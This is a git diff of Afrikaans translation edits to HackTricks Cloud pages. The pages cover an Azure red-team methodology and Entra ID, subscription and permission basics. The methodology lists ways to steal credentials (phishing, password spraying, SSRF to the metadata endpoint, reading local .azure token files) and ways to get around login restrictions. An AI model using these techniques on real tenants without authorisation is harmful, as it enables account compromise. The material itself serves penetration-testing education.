mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 23:39:52 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -8,16 +8,16 @@
|
||||
az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Pentester/Red Team Metodologie
|
||||
## Azure Pentester/Rooi Span Metodologie
|
||||
|
||||
Om 'n AZURE omgewing te oudit, is dit baie belangrik om te weet: watter **dienste gebruik word**, wat is **blootgestel**, wie het **toegang** tot wat, en hoe is interne Azure dienste en **eksterne dienste** gekoppel.
|
||||
|
||||
Vanuit 'n Red Team perspektief, is die **eerste stap om 'n Azure omgewing te kompromitteer** om daarin te slaag om 'n paar **bewyse** vir Azure AD te verkry. Hier is 'n paar idees oor hoe om dit te doen:
|
||||
Vanuit 'n Rooi Span perspektief is die **eerste stap om 'n Azure omgewing te kompromitteer** om te slaag om 'n paar **bewyse** vir Azure AD te verkry. Hier is 'n paar idees oor hoe om dit te doen:
|
||||
|
||||
- **Lekke** in github (of soortgelyk) - OSINT
|
||||
- **Sosiale** Ingenieurswese
|
||||
- **Wagwoord** hergebruik (wagwoordlekke)
|
||||
- Kwesbaarhede in Azure-gehoste toepassings
|
||||
- Kw vulnerabilities in Azure-gehuisvesde toepassings
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata-eindpunt
|
||||
- **Plaaslike Lêer Lees**
|
||||
- `/home/USERNAME/.azure`
|
||||
@@ -33,7 +33,7 @@ Gebruik `Disconnect-AzAccount` om hulle te verwyder.
|
||||
- [Toestelkode Verifikasie Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Wagwoord Spuit**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
Selfs as jy **nie enige gebruiker** binne die Azure tenant wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel:
|
||||
Selfs as jy **nie enige gebruiker** binne die Azure huurkontrak wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel:
|
||||
|
||||
{{#ref}}
|
||||
az-unauthenticated-enum-and-initial-entry/
|
||||
@@ -59,12 +59,12 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In gevalle waar jy 'n paar geldige bewese het maar jy kan nie inlog nie, is dit 'n paar algemene beskermings wat in plek kan wees:
|
||||
In gevalle waar jy 'n paar geldige bewese het, maar jy kan nie inlog nie, is dit 'n paar algemene beskermings wat in plek kan wees:
|
||||
|
||||
- **IP witlys** -- Jy moet 'n geldige IP kompromitteer
|
||||
- **Geo beperkings** -- Vind waar die gebruiker woon of waar die kantore van die maatskappy is en kry 'n IP van dieselfde stad (of land ten minste)
|
||||
- **Blaaier** -- Miskien is slegs 'n blaaier van sekere OS (Windows, Linux, Mac, Android, iOS) toegelaat. Vind uit watter OS die slagoffer/maatskappy gebruik.
|
||||
- Jy kan ook probeer om **Service Principal bewese** te kompromitteer aangesien hulle gewoonlik minder beperk is en hul inlog minder nagegaan word.
|
||||
- Jy kan ook probeer om **Service Principal bewese** te kompromitteer, aangesien hulle gewoonlik minder beperk is en hul inlog minder nagegaan word.
|
||||
|
||||
Nadat jy dit omseil het, mag jy in staat wees om terug te keer na jou aanvanklike opstelling en jy sal steeds toegang hê.
|
||||
|
||||
@@ -75,7 +75,7 @@ Nadat jy dit omseil het, mag jy in staat wees om terug te keer na jou aanvanklik
|
||||
### Whoami
|
||||
|
||||
> [!CAUTION]
|
||||
> Leer **hoe om** az cli, AzureAD en Az PowerShell in die [**Az - Entra ID**](az-services/az-azuread.md) afdeling te installeer.
|
||||
> Leer **hoe om** az cli, AzureAD en Az PowerShell te installeer in die [**Az - Entra ID**](az-services/az-azuread.md) afdeling.
|
||||
|
||||
Een van die eerste dinge wat jy moet weet is **wie jy is** (in watter omgewing jy is):
|
||||
|
||||
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Een van die belangrikste opdragte om Azure te enumerate is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **inligting gee oor die hulpbronne wat jou huidige gebruiker kan sien**.
|
||||
> Een van die belangrikste opdragte om Azure te evalueer is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **inligting gee oor die hulpbronne wat jou huidige gebruiker kan sien**.
|
||||
>
|
||||
> Jy kan dieselfde inligting in die **webkonsol** kry deur na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) te gaan of te soek na "Alle hulpbronne"
|
||||
> Jy kan dieselfde inligting in die **webkonsole** kry deur na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) te gaan of te soek na "Alle hulpbronne"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
### ENtra ID Evalueer
|
||||
|
||||
Standaard behoort enige gebruiker **voldoende regte te hê om** dinge soos gebruikers, groepe, rolle, diensprincipals... te enumerate (kyk [standaard AzureAD regte](az-basic-information/#default-user-permissions)).\
|
||||
Standaard behoort enige gebruiker **voldoende regte te hê om** dinge soos gebruikers, groepe, rolle, diensprincipals... te evalueer (kyk [standaard AzureAD regte](az-basic-information/#default-user-permissions)).\
|
||||
Jy kan hier 'n gids vind:
|
||||
|
||||
{{#ref}}
|
||||
@@ -134,8 +134,8 @@ az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nou dat jy **'n bietjie inligting oor jou akrediteerings het** (en as jy 'n rooi span is, hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
|
||||
> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te enumerate.**
|
||||
> Nou dat jy **'n bietjie inligting oor jou akrediteer** het (en as jy 'n rooi span is, hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
|
||||
> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te evalueer.**
|
||||
|
||||
## App Service SCM
|
||||
|
||||
@@ -155,7 +155,7 @@ Deur die parameter **`--debug`** te gebruik, is dit moontlik om al die versoeke
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen:
|
||||
Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
@@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Geoutomatiseerde Verkenning Gereedskap
|
||||
## Geoutomatiseerde Recon Gereedskap
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
```powershell
|
||||
|
||||
@@ -6,29 +6,29 @@
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
|
||||
|
||||
### Bestuursgroepe
|
||||
### Bestuur Groepe
|
||||
|
||||
- Dit kan **ander bestuursgroepe of subskripsies** bevat.
|
||||
- Dit maak dit moontlik om **governance beheer** soos RBAC en Azure-beleid een keer op die bestuursgroepvlak toe te pas en dit **geërf** te laat word deur al die subskripsies in die groep.
|
||||
- **10,000 bestuurs** groepe kan in 'n enkele gids ondersteun word.
|
||||
- 'n Bestuursgroepboom kan **tot ses vlakke diepte** ondersteun. Hierdie limiet sluit nie die wortelvlak of die subskripsievlak in nie.
|
||||
- Elke bestuursgroep en subskripsie kan **slegs een ouer** ondersteun.
|
||||
- Alhoewel verskeie bestuursgroepe geskep kan word, is daar **slegs 1 wortel bestuursgroep**.
|
||||
- Die wortel bestuursgroep **bevat** al die **ander bestuursgroepe en subskripsies** en **kan nie verskuif of verwyder** word nie.
|
||||
- Alle subskripsies binne 'n enkele bestuursgroep moet die **dieselfde Entra ID huur** vertrou.
|
||||
- Dit kan **ander bestuur groepe of subskripsies** bevat.
|
||||
- Dit stel in staat om **governance beheer** soos RBAC en Azure-beleid een keer op die bestuur groep vlak toe te pas en dit **geërf** te laat word deur al die subskripsies in die groep.
|
||||
- **10,000 bestuur** groepe kan in 'n enkele gids ondersteun word.
|
||||
- 'n Bestuur groep boom kan **tot ses vlakke diepte** ondersteun. Hierdie limiet sluit nie die wortelvlak of die subskripsie vlak in nie.
|
||||
- Elke bestuur groep en subskripsie kan **slegs een ouer** ondersteun.
|
||||
- Alhoewel verskeie bestuur groepe geskep kan word, is daar **slegs 1 wortel bestuur groep**.
|
||||
- Die wortel bestuur groep **bevat** al die **ander bestuur groepe en subskripsies** en **kan nie verskuif of verwyder** word nie.
|
||||
- Alle subskripsies binne 'n enkele bestuur groep moet die **dieselfde Entra ID tenant** vertrou.
|
||||
|
||||
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
|
||||
|
||||
### Azure Subskripsies
|
||||
|
||||
- Dit is 'n ander **logiese houer waar hulpbronne** (VM's, DB's…) gedra kan word en gefaktureer sal word.
|
||||
- Sy **ouer** is altyd 'n **bestuursgroep** (en dit kan die wortel bestuursgroep wees) aangesien subskripsies nie ander subskripsies kan bevat nie.
|
||||
- Dit is 'n ander **logiese houer waar hulpbronne** (VMs, DBs…) gedra kan word en gefaktureer sal word.
|
||||
- Sy **ouer** is altyd 'n **bestuur groep** (en dit kan die wortel bestuur groep wees) aangesien subskripsies nie ander subskripsies kan bevat nie.
|
||||
- Dit **vertrou slegs een Entra ID** gids
|
||||
- **Toestemmings** wat op die subskripsievlak (of enige van sy ouers) toegepas word, word **geërf** na al die hulpbronne binne die subskripsie
|
||||
- **Toestemmings** wat op die subskripsie vlak toegepas word (of enige van sy ouers) word **geërf** na al die hulpbronne binne die subskripsie
|
||||
|
||||
### Hulpbron Groepe
|
||||
|
||||
[Van die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 'n Hulpbron groep is 'n **houer** wat **verwante hulpbronne** vir 'n Azure-oplossing bevat. Die hulpbron groep kan al die hulpbronne vir die oplossing insluit, of slegs daardie **hulpbronne wat jy as 'n groep wil bestuur**. Oor die algemeen, voeg **hulpbronne** wat die **selfde lewensiklus** deel by die selfde hulpbron groep sodat jy dit maklik kan ontplooi, opdateer, en verwyder as 'n groep.
|
||||
[Van die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 'n Hulpbron groep is 'n **houer** wat **verwante hulpbronne** vir 'n Azure oplossing bevat. Die hulpbron groep kan al die hulpbronne vir die oplossing insluit, of slegs daardie **hulpbronne wat jy as 'n groep wil bestuur**. Oor die algemeen, voeg **hulpbronne** wat die **selfde lewensiklus** deel by die selfde hulpbron groep sodat jy dit maklik kan ontplooi, opdateer, en verwyder as 'n groep.
|
||||
|
||||
Alle **hulpbronne** moet **binne 'n hulpbron groep** wees en kan slegs aan een groep behoort, en as 'n hulpbron groep verwyder word, word al die hulpbronne daarin ook verwyder.
|
||||
|
||||
@@ -58,20 +58,20 @@ Entra ID is 'n wolk-gebaseerde **identiteit en toegang bestuur diens** wat ontwe
|
||||
|
||||
### Entra Domein Dienste (voorheen Azure AD DS)
|
||||
|
||||
Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein dienste aan te bied wat versoenbaar is met tradisionele Windows Aktiewe Gids omgewings**. Dit ondersteun ouer protokolle soos LDAP, Kerberos, en NTLM, wat organisasies in staat stel om ouer toepassings in die wolk te migreer of te laat loop sonder om plaaslike domein kontrollers te ontplooi. Hierdie diens ondersteun ook Groep Beleid vir gesentraliseerde bestuur, wat dit geskik maak vir scenario's waar ouer of AD-gebaseerde werklas saam met moderne wolkomgewings moet bestaan.
|
||||
Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein dienste aan te bied wat versoenbaar is met tradisionele Windows Aktiewe Gids omgewings**. Dit ondersteun ou protokolle soos LDAP, Kerberos, en NTLM, wat organisasies in staat stel om ou toepassings in die wolk te migreer of te laat loop sonder om plaaslike domein kontrollers te ontplooi. Hierdie diens ondersteun ook Groep Beleid vir gesentraliseerde bestuur, wat dit geskik maak vir scenario's waar ou of AD-gebaseerde werklas saam met moderne wolkomgewings moet bestaan.
|
||||
|
||||
## Entra ID Principals
|
||||
|
||||
### Gebruikers
|
||||
|
||||
- **Nuwe gebruikers**
|
||||
- Dui e-pos naam en domein van die geselekteerde huur aan
|
||||
- Dui Vertoonnaam aan
|
||||
- Dui e-pos naam en domein van die geselekteerde tenant aan
|
||||
- Dui Vertoon naam aan
|
||||
- Dui wagwoord aan
|
||||
- Dui eienskappe aan (voornaam, posbeskrywing, kontakbesonderhede…)
|
||||
- Dui eienskappe aan (voornaam, posbeskrywing, kontak inligting…)
|
||||
- Standaard gebruiker tipe is “**lid**”
|
||||
- **Buitelandse gebruikers**
|
||||
- Dui e-pos aan om uit te nooi en vertoonnaam (kan 'n nie-Microsoft e-pos wees)
|
||||
- Dui e-pos aan om uit te nooi en vertoon naam (kan 'n nie-Microsoft e-pos wees)
|
||||
- Dui eienskappe aan
|
||||
- Standaard gebruiker tipe is “**Gaste**”
|
||||
|
||||
@@ -79,44 +79,44 @@ Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein
|
||||
|
||||
Jy kan dit nagaan in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) maar onder andere aksies sal 'n lid in staat wees om:
|
||||
|
||||
- Lees alle gebruikers, Groepe, Toepassings, Toestelle, Rolle, Subskripsies, en hul publieke eienskappe
|
||||
- Nooi Gaste (_kan afgeskakel word_)
|
||||
- Skep Sekuriteitsgroepe
|
||||
- Lees nie-verborgene Groep lidmaatskappe
|
||||
- Voeg gaste by Besit groepe
|
||||
- Skep nuwe toepassing (_kan afgeskakel word_)
|
||||
- Voeg tot 50 toestelle by Azure (_kan afgeskakel word_)
|
||||
- Alle gebruikers, Groepe, Toepassings, Toestelle, Rolle, Subskripsies, en hul openbare eienskappe te lees
|
||||
- Gaste uit te nooi (_kan afgeskakel word_)
|
||||
- Sekuriteitsgroepe te skep
|
||||
- Nie-verborgen Groep lidmaatskappe te lees
|
||||
- Gaste by Besit groepe te voeg
|
||||
- Nuwe toepassing te skep (_kan afgeskakel word_)
|
||||
- Tot 50 toestelle aan Azure toe te voeg (_kan afgeskakel word_)
|
||||
|
||||
> [!NOTE]
|
||||
> Onthou dat om Azure hulpbronne te tel, die gebruiker 'n eksplisiete toekenning van die toestemming benodig.
|
||||
> Onthou dat om Azure hulpbronne te enumerate, die gebruiker 'n eksplisiete toekenning van die toestemming benodig.
|
||||
|
||||
### Gebruikers Standaard Konfigureerbare Toestemmings
|
||||
|
||||
- **Lede (**[**dokumente**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- **Lede (**[**dokumentasie**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Registreer Toepassings: Standaard **Ja**
|
||||
- Beperk nie-admin gebruikers van die skep van huurders: Standaard **Nee**
|
||||
- Beperk nie-admin gebruikers van die skep van tenants: Standaard **Nee**
|
||||
- Skep sekuriteitsgroepe: Standaard **Ja**
|
||||
- Beperk toegang tot Microsoft Entra administrasie portaal: Standaard **Nee**
|
||||
- Dit beperk nie API toegang tot die portaal nie (slegs web)
|
||||
- Laat gebruikers toe om werk of skool rekening met LinkedIn te verbind: Standaard **Ja**
|
||||
- Toon hou gebruiker ingelog: Standaard **Ja**
|
||||
- Beperk gebruikers van die herstel van die BitLocker sleutel(s) vir hul besit toestelle: Standaard Nee (kyk in Toestel Instellings)
|
||||
- Beperk gebruikers van die herstel van die BitLocker sleutel(s) vir hul besit toestelle: Standaard Nee (nagaan in Toestel Instellings)
|
||||
- Lees ander gebruikers: Standaard **Ja** (deur Microsoft Graph)
|
||||
- **Gaste**
|
||||
- **Gaste gebruiker toegang beperkings**
|
||||
- **Gaste gebruikers het dieselfde toegang as lede** gee alle lid gebruiker toestemmings aan gaste gebruikers per standaard.
|
||||
- **Gaste gebruikers het beperkte toegang tot eienskappe en lidmaatskappe van gids objekte (standaard)** beperk gaste toegang tot slegs hul eie gebruikersprofiel per standaard. Toegang tot ander gebruikers en groep inligting is nie meer toegelaat nie.
|
||||
- **Gaste gebruikers het dieselfde toegang as lede** gee alle lid gebruiker toestemmings aan gaste gebruikers standaard.
|
||||
- **Gaste gebruikers het beperkte toegang tot eienskappe en lidmaatskappe van gids objekte (standaard)** beperk gaste toegang tot slegs hul eie gebruikersprofiel standaard. Toegang tot ander gebruikers en groep inligting is nie meer toegelaat nie.
|
||||
- **Gaste gebruiker toegang is beperk tot eienskappe en lidmaatskappe van hul eie gids objekte** is die mees beperkende een.
|
||||
- **Gaste kan nooi**
|
||||
- **Enige iemand in die organisasie kan gaste gebruikers nooi insluitend gaste en nie-admins (mees inklusief) - Standaard**
|
||||
- **Lid gebruikers en gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers nooi insluitend gaste met lid toestemmings**
|
||||
- **Slegs gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers nooi**
|
||||
- **Niemand in die organisasie kan gaste gebruikers nooi insluitend admins (mees beperkende)**
|
||||
- **Gaste kan uitnooi**
|
||||
- **Enige iemand in die organisasie kan gaste gebruikers uitnooi insluitend gaste en nie-admins (mees inklusief) - Standaard**
|
||||
- **Lid gebruikers en gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers uitnooi insluitend gaste met lid toestemmings**
|
||||
- **Slegs gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers uitnooi**
|
||||
- **Niemand in die organisasie kan gaste gebruikers uitnooi insluitend admins (mees beperkende)**
|
||||
- **Buitelandse gebruiker verlaat**: Standaard **Waar**
|
||||
- Laat buitelandse gebruikers toe om die organisasie te verlaat
|
||||
|
||||
> [!TIP]
|
||||
> Alhoewel dit per standaard beperk is, kan gebruikers (lede en gaste) met toegekenne toestemmings die vorige aksies uitvoer.
|
||||
> Alhoewel dit standaard beperk is, kan gebruikers (lede en gaste) met toegekenne toestemmings die vorige aksies uitvoer.
|
||||
|
||||
### **Groepe**
|
||||
|
||||
@@ -124,35 +124,35 @@ Daar is **2 tipes groepe**:
|
||||
|
||||
- **Sekuriteit**: Hierdie tipe groep word gebruik om lede toegang te gee tot toepassings, hulpbronne en om lisensies toe te ken. Gebruikers, toestelle, diens prinsipale en ander groepe kan lede wees.
|
||||
- **Microsoft 365**: Hierdie tipe groep word gebruik vir samewerking, wat lede toegang gee tot 'n gedeelde posbus, kalender, lêers, SharePoint webwerf, ensovoorts. Groep lede kan slegs gebruikers wees.
|
||||
- Dit sal 'n **e-pos adres** hê met die domein van die EntraID huur.
|
||||
- Dit sal 'n **e-pos adres** hê met die domein van die EntraID tenant.
|
||||
|
||||
Daar is **2 tipes lidmaatskappe**:
|
||||
|
||||
- **Toegeken**: Laat toe om spesifieke lede handmatig aan 'n groep toe te voeg.
|
||||
- **Dinamiese lidmaatskap**: Bestuur lidmaatskap outomaties met behulp van reëls, wat die groep insluiting opdateer wanneer lede se eienskappe verander.
|
||||
- **Toegewyse**: Laat toe om spesifieke lede handmatig aan 'n groep toe te voeg.
|
||||
- **Dinamiese lidmaatskap**: Bestuur lidmaatskap outomaties met behulp van reëls, wat groep insluiting opdateer wanneer lede eienskappe verander.
|
||||
|
||||
### **Diens Prinsipale**
|
||||
|
||||
'n **Diens Prinsipaal** is 'n **identiteit** geskep vir **gebruik** met **toepassings**, gehoste dienste, en geoutomatiseerde gereedskap om toegang tot Azure hulpbronne te verkry. Hierdie toegang is **beperk deur die rolle wat aan die diens prinsipaal toegeken is**, wat jou beheer gee oor **watter hulpbronne toegang verkry** en op watter vlak. Om veiligheidsredes, word dit altyd aanbeveel om **diens prinsipale met geoutomatiseerde gereedskap te gebruik** eerder as om hulle toe te laat om met 'n gebruikersidentiteit aan te meld.
|
||||
'n **Diens Prinsipaal** is 'n **identiteit** geskep vir **gebruik** met **toepassings**, gehoste dienste, en geoutomatiseerde gereedskap om toegang tot Azure hulpbronne te verkry. Hierdie toegang is **beperk deur die rolle wat aan die diens prinsipaal toegeken is**, wat jou beheer gee oor **watter hulpbronne toegang verkry kan word** en op watter vlak. Om veiligheidsredes, word dit altyd aanbeveel om **diens prinsipale met geoutomatiseerde gereedskap te gebruik** eerder as om hulle toe te laat om met 'n gebruikersidentiteit aan te meld.
|
||||
|
||||
Dit is moontlik om **direk as 'n diens prinsipaal aan te meld** deur 'n **geheim** (wagwoord), 'n **sertifikaat**, of deur **federale** toegang aan derdeparty platforms (bv. Github Actions) oor dit te verleen.
|
||||
|
||||
- As jy **wagwoord** autentisering kies (per standaard), **stoor die gegenereerde wagwoord** aangesien jy dit nie weer kan toegang nie.
|
||||
- As jy **wagwoord** autentisering kies (standaard), **stoor die gegenereerde wagwoord** aangesien jy dit nie weer kan toegang nie.
|
||||
- As jy sertifikaat autentisering kies, maak seker dat die **toepassing toegang sal hê oor die private sleutel**.
|
||||
|
||||
### App Registrasies
|
||||
|
||||
'n **App Registrasie** is 'n konfigurasie wat 'n toepassing toelaat om met Entra ID te integreer en aksies uit te voer.
|
||||
|
||||
#### Sleutel Komponente:
|
||||
#### Sleuteldelers:
|
||||
|
||||
1. **Toepassing ID (Kliënt ID):** 'n Unieke identifiseerder vir jou app in Azure AD.
|
||||
2. **Herlei URIs:** URL's waar Azure AD autentisering antwoorde stuur.
|
||||
3. **Sertifikate, Geheimen & Federale Kredite:** Dit is moontlik om 'n geheim of 'n sertifikaat te genereer om as die diens prinsipaal van die toepassing aan te meld, of om federale toegang aan dit te verleen (bv. Github Actions). 
|
||||
1. As 'n **sertifikaat** of **geheim** gegenereer word, is dit moontlik vir 'n persoon om **as die diens prinsipaal** met CLI gereedskap aan te meld deur die **toepassing ID**, die **geheim** of **sertifikaat** en die **huur** (domein of ID) te ken.
|
||||
4. **API Toestemmings:** Spesifiseer watter hulpbronne of API's die app kan toegang.
|
||||
1. As 'n **sertifikaat** of **geheim** gegenereer word, is dit moontlik vir 'n persoon om **as die diens prinsipaal** met CLI gereedskap aan te meld deur die **toepassing ID**, die **geheim** of **sertifikaat** en die **tenant** (domein of ID) te ken.
|
||||
4. **API Toestemmings:** Spesifiseer watter hulpbronne of API's die app toegang kan verkry.
|
||||
5. **Autentisering Instellings:** Definieer die app se ondersteunde autentisering vloei (bv., OAuth2, OpenID Connect).
|
||||
6. **Diens Prinsipaal**: 'n diens prinsipaal word geskep wanneer 'n App geskep word (as dit vanaf die webkonsol gedoen word) of wanneer dit in 'n nuwe huur geïnstalleer word.
|
||||
6. **Diens Prinsipaal**: 'n diens prinsipaal word geskep wanneer 'n App geskep word (as dit vanaf die webkonsol gedoen word) of wanneer dit in 'n nuwe tenant geïnstalleer word.
|
||||
1. Die **diens prinsipaal** sal al die gevraagde toestemmings wat dit geconfigureer is, ontvang.
|
||||
|
||||
### Standaard Toestemming Toestemmings
|
||||
@@ -180,20 +180,20 @@ Dit is moontlik om **direk as 'n diens prinsipaal aan te meld** deur 'n **geheim
|
||||
|
||||
### **Bestuurde Identiteit (Metadata)**
|
||||
|
||||
Bestuurde identiteite in Azure Aktiewe Gids bied 'n oplossing vir **outomatiese bestuur van die identiteit** van toepassings. Hierdie identiteite word deur toepassings gebruik om te **verbinde** met **hulpbronne** wat versoenbaar is met Azure Aktiewe Gids (**Azure AD**) autentisering. Dit maak dit moontlik om **die behoefte aan hardkoding van wolk akrediteer** in die kode te verwyder aangesien die toepassing in staat sal wees om die **metadata** diens te kontak om 'n geldige token te **verrig** as die aangeduide bestuurde identiteit in Azure.
|
||||
Bestuurde identiteite in Azure Aktiewe Gids bied 'n oplossing vir **outomatiese bestuur van die identiteit** van toepassings. Hierdie identiteite word deur toepassings gebruik met die doel om **verbinding te maak** met **hulpbronne** wat versoenbaar is met Azure Aktiewe Gids (**Azure AD**) autentisering. Dit stel in staat om die behoefte aan hardkoding van wolk kredensiale in die kode te **verwyder** aangesien die toepassing in staat sal wees om die **metadata** diens te kontak om 'n geldige token te **verkry** om aksies uit te voer as die aangeduide bestuurde identiteit in Azure.
|
||||
|
||||
Daar is twee tipes bestuurde identiteite:
|
||||
|
||||
- **Stelsel-toegeken**. Sommige Azure dienste laat jou toe om 'n **bestuurde identiteit direk op 'n diens instansie** in te skakel. Wanneer jy 'n stelsel-toegeken bestuurde identiteit inskakel, word 'n **diens prinsipaal** geskep in die Entra ID huur wat deur die subskripsie vertrou word waar die hulpbron geleë is. Wanneer die **hulpbron** verwyder word, verwyder Azure outomaties die **identiteit** vir jou.
|
||||
- **Gebruiker-toegeken**. Dit is ook moontlik vir gebruikers om bestuurde identiteite te genereer. Hierdie word binne 'n hulpbron groep binne 'n subskripsie geskep en 'n diens prinsipaal sal in die EntraID geskep word wat deur die subskripsie vertrou word. Dan kan jy die bestuurde identiteit aan een of **meer instansies** van 'n Azure diens toeken. Vir gebruiker-toegeken bestuurde identiteite, word die **identiteit apart bestuur van die hulpbronne wat dit gebruik**.
|
||||
- **Stelsel-toegewyse**. Sommige Azure dienste laat jou toe om 'n **bestuurde identiteit direk op 'n diens instansie** in te skakel. Wanneer jy 'n stelsel-toegewyse bestuurde identiteit inskakel, word 'n **diens prinsipaal** geskep in die Entra ID tenant wat deur die subskripsie vertrou word waar die hulpbron geleë is. Wanneer die **hulpbron** verwyder word, verwyder Azure outomaties die **identiteit** vir jou.
|
||||
- **Gebruiker-toegewyse**. Dit is ook moontlik vir gebruikers om bestuurde identiteite te genereer. Hierdie word binne 'n hulpbron groep binne 'n subskripsie geskep en 'n diens prinsipaal sal in die EntraID geskep word wat deur die subskripsie vertrou word. Dan kan jy die bestuurde identiteit aan een of **meer instansies** van 'n Azure diens toewys (meerdere hulpbronne). Vir gebruiker-toegewyse bestuurde identiteite, word die **identiteit apart bestuur van die hulpbronne wat dit gebruik**.
|
||||
|
||||
Bestuurde Identiteite **genereer nie ewige akrediteer** (soos wagwoorde of sertifikate) om toegang te verkry as die diens prinsipaal wat aan dit geheg is.
|
||||
Bestuurde Identiteite **genereer nie ewige kredensiale** (soos wagwoorde of sertifikate) om toegang te verkry as die diens prinsipaal wat aan dit geheg is.
|
||||
|
||||
### Enterprise Toepassings
|
||||
### Onderneming Toepassings
|
||||
|
||||
Dit is net 'n **tafel in Azure om diens prinsipale te filter** en die toepassings wat aan hulle toegeken is, te kontroleer.
|
||||
|
||||
**Dit is nie 'n ander tipe "toepassing" nie,** daar is geen objek in Azure wat 'n "Enterprise Toepassing" is nie, dit is net 'n abstraksie om die Diens prinsipale, App registrasies en bestuurde identiteite te kontroleer.
|
||||
**Dit is nie 'n ander tipe "toepassing" nie,** daar is nie enige objek in Azure wat 'n "Onderneming Toepassing" is nie, dit is net 'n abstraksie om die Diens prinsipale, App registrasies en bestuurde identiteite te kontroleer.
|
||||
|
||||
### Administratiewe Eenhede
|
||||
|
||||
@@ -204,7 +204,7 @@ Voorbeeld:
|
||||
- Scenario: 'n Maatskappy wil regionale IT admins toelaat om slegs die gebruikers in hul eie streek te bestuur.
|
||||
- Implementering:
|
||||
- Skep Administratiewe Eenhede vir elke streek (bv., "Noord-Amerika AU", "Europa AU").
|
||||
- Vul AU's met gebruikers uit hul onderskeie streke.
|
||||
- Vul AU's met gebruikers van hul onderskeie streke.
|
||||
- AU's kan **gebruikers, groepe, of toestelle** bevat
|
||||
- AU's ondersteun **dinamiese lidmaatskappe**
|
||||
- AU's **kan nie AU's bevat nie**
|
||||
@@ -221,31 +221,31 @@ Voorbeeld:
|
||||
|
||||
## Rolle & Toestemmings
|
||||
|
||||
**Rolle** word **toegeken** aan **prinsipale** op 'n **skaal**: `prinsipaal -[HEE ROLE]->(skaal)`
|
||||
**Rolle** word **toegeken** aan **prinsipale** op 'n **skaal**: `principal -[HAS ROLE]->(scope)`
|
||||
|
||||
**Rolle** wat aan **groepe** toegeken word, word **geërf** deur al die **lede** van die groep.
|
||||
|
||||
